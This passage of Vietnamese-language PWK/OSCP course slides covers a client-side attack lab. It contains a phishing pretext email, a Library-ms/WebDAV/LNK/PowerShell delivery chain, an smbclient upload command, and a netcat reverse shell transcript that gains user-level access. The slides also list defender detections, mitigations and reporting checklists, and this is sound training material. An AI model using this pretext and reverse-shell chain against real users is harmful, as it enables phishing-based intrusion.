To make this easier, I've attached a file that will automatically
perform each step. Could you download the attachment, open the
directory, and double-click "automatic_configuration"? Once you
confirm the configuration in the window that appears, you're all done!
If you have any questions, or run into any problems, please let me
know!- Mạo danh thành viên IT mới và yêu cầu chạy automatic_configuration.
- Trong pentest, nội dung phải được khách hàng duyệt và không được tạo hậu quả thật.
- Nên có kill switch, reporting channel và danh sách người nhận rõ ràng.
Đánh giá pretext trong Listing 20
Điểm tạo niềm tin
- Vai trò IT quen thuộc
- Công việc cấu hình hợp lý
- Tên file thân thiện
- Hướng dẫn từng bước
- Đề nghị hỗ trợ nếu có lỗi
Dấu hiệu rủi ro
- Người gửi mới
- Yêu cầu chạy file
- Không có ticket/change ID
- Không qua phần mềm quản lý chính thức
- Shortcut tải code từ Internet
Tại sao serve PowerCat bằng HTTP riêng?
- WebDAV share trong lab được cấu hình writable.
- AV hoặc security tool có thể xóa/quarantine payload nằm trên share.
- Đặt PowerCat trên Python HTTP server giữ stage payload tách khỏi share.
- WebDAV vẫn dùng để delivery Library-ms và LNK.
- Trong assessment cần cân nhắc network controls, TLS và hạ tầng callback được duyệt.
Upload Library file qua SMB share
kali@kali:~$ cd webdav
kali@kali:~/webdav$ cd webdav
kali@kali:~/webdav$ rm test.txt
kali@kali:~/webdav$ smbclient //192.168.50.195/share -c 'put config.Library-ms'
Enter WORKGROUP\kali's password:
putting file config.Library-ms as \config.Library-ms (1.8 kb/s) (average 1.8 kb/s)- SMB share mô phỏng bước delivery trong lab.
- Xóa test.txt để remote directory chỉ còn nội dung cần thiết.
- Trong assessment thực tế delivery có thể qua email hoặc kênh được phê duyệt.
Reverse shell từ HR137
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.195] 56839
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\System32\WindowsPowerShell\v1.0> whoami
whoami
hr137\hsmith- whoami xác nhận context hr137\hsmith.
- Chuỗi Library-ms → WebDAV → LNK → PowerShell đã hoạt động.
- Đây là user-level foothold, chưa phải administrative access.
Chuỗi hoàn chỉnh cần ghi vào evidence
Điểm phát hiện của defender
Email gateway
Library-ms attachment hoặc archive chứa Library file.
WebDAV traffic
HTTP/WebDAV tới IP hoặc domain không quen thuộc.
Shortcut analytics
Target là powershell.exe với encoded/download command.
Process tree
explorer.exe → powershell.exe.
PowerShell logs
Script block, module và command-line logging.
Behavior
Download cradle, in-memory script và reverse connection.
Biện pháp giảm thiểu
Hạn chế WebClient/WebDAV
Disable nếu không cần hoặc giới hạn egress.
Block risky shortcuts
Kiểm soát LNK từ email/download zones.
ASR rules
Chặn script interpreters và suspicious child processes.
PowerShell hardening
Constrained Language Mode, logging và allowlisting.
Attachment policies
Quarantine Library-ms và phân tích archive.
Verification process
Mọi yêu cầu IT phải có ticket hoặc kênh xác minh.
Checklist vận hành Library-ms lab
Wrapping Up
Wrapping Up
Kết nối reconnaissance, social engineering constraints và hai chuỗi client-side attack thành một phương pháp kiểm thử có thể tái hiện.
Ba năng lực chính của Chương 11
Target reconnaissance
Tài liệu công khai, metadata và phần mềm được suy luận.
Client fingerprinting
OS, browser, IP và runtime data để chọn vector.
Controlled execution
Macro hoặc Library/LNK tạo user-level foothold trong lab.
Phương pháp làm việc chuẩn
Điều cần phân biệt trong báo cáo
Technical success
- File được delivery
- User mở file
- Macro/LNK chạy
- Callback thành công
- User context được xác minh
Business risk
- Số người có thể bị ảnh hưởng
- Quyền của user
- Khả năng truy cập dữ liệu nội bộ
- Khả năng lateral movement
- Mức hiệu quả của awareness và controls
Checklist báo cáo client-side finding
Thông điệp cuối cùng
- Client-side attack thường là con đường hiệu quả để có foothold trong mạng nội bộ không routable.
- Reconnaissance quyết định chất lượng của vector và pretext.
- Office macros và Windows Library files đều phụ thuộc vào user action và môi trường bảo vệ.
- Một assessment tốt phải đo được cả kiểm soát kỹ thuật lẫn quy trình xác minh của người dùng.
- Mục tiêu cuối cùng là giúp tổ chức giảm xác suất delivery, execution và callback — không phải chỉ chứng minh payload chạy.
Tiếp tục lộ trình PWK / OSCP
Ôn tập, thực hành có kiểm soát và ghi notes theo từng attack chain.
security365.vn/pwk-oscp/